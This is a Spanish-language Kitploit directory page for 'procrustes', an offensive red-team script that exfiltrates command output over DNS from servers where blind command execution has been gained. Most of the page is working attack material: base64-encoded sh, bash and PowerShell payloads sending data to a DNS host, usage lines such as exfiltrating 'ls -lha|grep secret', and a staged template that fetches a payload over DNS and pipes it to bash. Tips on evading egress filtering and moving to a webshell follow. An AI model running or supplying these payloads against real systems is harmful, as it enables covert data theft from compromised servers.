Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
procrustes — Un script de bash que automatiza la exfiltración de datos a través de DNS en caso de que tengamos ejecución ciega de comandos en un servidor con filtrado de salida. | Kitploit
Herramientas/GitHubGitHub/vp777/procrustes
ExplotaciónExfiltración de DatosComando y ControlRed TeamingAnálisis de DNS
GitHubvp777/procrustes

procrustes

Un script de bash que automatiza la exfiltración de datos a través de DNS en caso de que tengamos ejecución ciega de comandos en un servidor con filtrado de salida.

Ver Repositorio
21032hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Procrustes

Un script bash que automatiza la exfiltración de datos a través de DNS en caso de que tengamos una ejecución de comandos ciega en un servidor donde todas las conexiones salientes excepto DNS están bloqueadas. El script actualmente es compatible con sh, bash y powershell y es compatible con la ejecución de comandos de estilo exec (por ejemplo, java.lang.Runtime.exec).

Unstaged:

Staged:

Para su funcionamiento, el script toma como entrada el comando que queremos ejecutar en el servidor objetivo y lo transforma según el shell objetivo para permitir que su salida sea exfiltrada a través de DNS. Después de transformar el comando, se alimenta al "dispatcher". El dispatcher es un programa proporcionado por el usuario y se encarga de tomar un comando como entrada y hacer que se ejecute en el servidor objetivo por cualquier medio necesario (por ejemplo, explotando una vulnerabilidad). Después de que el comando se ejecuta en el servidor objetivo, se espera que desencadene solicitudes DNS a nuestro servidor de nombres DNS que contengan fragmentos de nuestros datos. El script escucha esas solicitudes hasta que la salida del comando proporcionado por el usuario se exfiltra por completo.

A continuación se muestran las transformaciones de comandos compatibles, generadas para la exfiltración del comando: ls

sh:

root@kitploit:~
sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo=

bash:

root@kitploit:~
bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash

powershell:

root@kitploit:~
powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=

Uso

  1. Prueba local para bash:
root@kitploit:~
./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)
  1. Prueba local para powershell con WSL2:
root@kitploit:~
stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'
  1. Ejemplo de powershell donde hacemos ssh a nuestro NS para obtener las solicitudes DNS entrantes.
root@kitploit:~
./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
  1. Más información sobre las opciones
root@kitploit:~
./procroustes_chunked.sh --help

procroustes_chunked vs procroustes_full

En resumen, asumiendo que queremos exfiltrar algunos datos que deben dividirse en cuatro fragmentos para poder transmitirse a través de DNS:

  • procroustes_chunked: llama al dispatcher cuatro veces, cada vez solicitando un fragmento diferente del servidor. Tiene un tamaño de payload relativamente pequeño, es rápido y no necesita configuración especial.
  • procroustes_full: llama al dispatcher una vez, el comando que se ejecutará en el servidor será responsable de fragmentar los datos y enviarlos. Puede tener un tamaño de payload más grande, es rápido (la velocidad se puede ajustar mediante el parámetro -t) y su velocidad se puede optimizar aún más cuando el dns_server se ejecuta en el servidor de nombres.
  • procroustes_full/staged: igual que procroustes_full, pero utiliza un stager para obtener el comando que usa procroustes_full para fragmentar los datos. Tiene el tamaño de 'payload' más pequeño pero también es el más lento en cuanto a tasa de exfiltración, ya que el payload real se descarga a través de DNS. Para su funcionamiento requiere la creación de un script nsconfig. Nota: el script nsconfig debe crearse solo una vez por servidor de nombres (y no por servidor objetivo).

Algunas de sus diferencias también se pueden ilustrar mediante los comandos de plantilla utilizados para bash:

procroustes_chunked/bash:

root@kitploit:~
%DNS_TRIGGER% `(%CMD%)|base64 -w0|cut -b$((%INDEX%+1))-$((%INDEX%+%COUNT%))'`.%UNIQUE_DNS_HOST%

procroustes_full/bash:

root@kitploit:~
(%CMD%)|base64 -w0|echo $(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|awk '{printf "%s.%s%s\n",$1,NR,"%UNIQUE_DNS_HOST%"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%

procroustes_full/bash/staged:

root@kitploit:~
(seq %ITERATIONS%|%S_DNS_TRIGGGER% $(cat).%UNIQUE_DNS_HOST%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash

[1] Para la versión staged, el comando se descarga a través de DNS, por lo que el tamaño listado es también el tamaño total del payload.

[2] En procroustes_chunked, se llama al dispatcher varias veces y, por lo tanto, también al comando proporcionado que se supone que se ejecutará en el servidor (hasta que se exfiltre toda su salida). Este comportamiento no es ideal si la entrega de comandos al servidor (es decir, llamando al dispatcher) requiere mucho tiempo o recursos.

También puede causar problemas si el comando que estamos ejecutando en el servidor no es idempotente (en cuanto a funcionalidad o salida, por ejemplo, 'ls;rm file') o requiere mucho tiempo/recursos (por ejemplo, find / -name secret). Una solución alternativa para este caso es almacenar primero la salida del comando en un archivo (por ejemplo, /tmp/file) y luego usar el script para leer ese archivo.

[3] En la versión staged tenemos la sobrecarga del tiempo necesario para obtener el payload real a través de DNS. Cabe señalar que el script utiliza registros A para obtener el payload real. Aunque esto permite que nuestro tráfico se mezcle mejor con el tráfico regular del entorno objetivo, ofrece una capacidad de canal limitada (por ejemplo, 4 bytes por solicitud). Podríamos hacer uso de otros tipos de registros como TXT y minimizar el tiempo de descarga del stage (cerca de cero) y el tamaño del stager.

Consejos

  • Probablemente quieras usar este script lo menos posible, intenta hacer la transición a un canal de mayor ancho de banda lo antes posible (por ejemplo, HTTP-webshell)
  • En caso de que se esperé una salida de texto larga, puedes intentar comprimirla primero para acelerar el proceso de exfiltración, por ejemplo: ./procrustes_full.sh ... -o >(setsid gunzip) -- 'ls -lhR / | gzip'
  • Otra posibilidad para archivos grandes/binarios es copiarlos a una ruta que sea accesible, por ejemplo, a través de HTTP
  • Para aumentar el ancho de banda de exfiltración en procrustes_full, ejecuta el dns_server en tu servidor de nombres. De esa manera, evitamos esperar a que el DNS_TRIGGER subyacente expire antes de pasar a un nuevo fragmento.
  • Idealmente, tendrías un dominio (opción -h) con un registro NS que apunte a un servidor que controles (servidor donde ejecutamos tcpdump). Sin embargo, si el objetivo puede iniciar conexiones a servidores DNS arbitrarios, esto se puede evitar configurando explícitamente el desencadenante DNS para que use nuestro servidor DNS (por ejemplo, dig @your_server whatev.er)

Créditos

  • Collabfiltrator - idea de fragmentar los datos en el servidor. También realiza funcionalidades similares con este script, así que échale un vistazo.
  • DNSlivery - se utiliza una versión modificada de DNSlivery como servidor DNS.
Descargar herramienta
procroustes_chunkedprocroustes_fullprocroustes_full_staged
sobrecarga de tamaño de payload (bash/powershell)150*NLABELS/500*NLABELS (+CMD_LEN)300/800 (+CMD_LEN)150/400[1]
# llamadas al dispatcher#output/(LABEL_SIZE*NLABELS)[2]11
velocidad (bash/powershell)✔/✔✔/✔✓/✓[3]
dificultad de configuracióneasyeasy+medium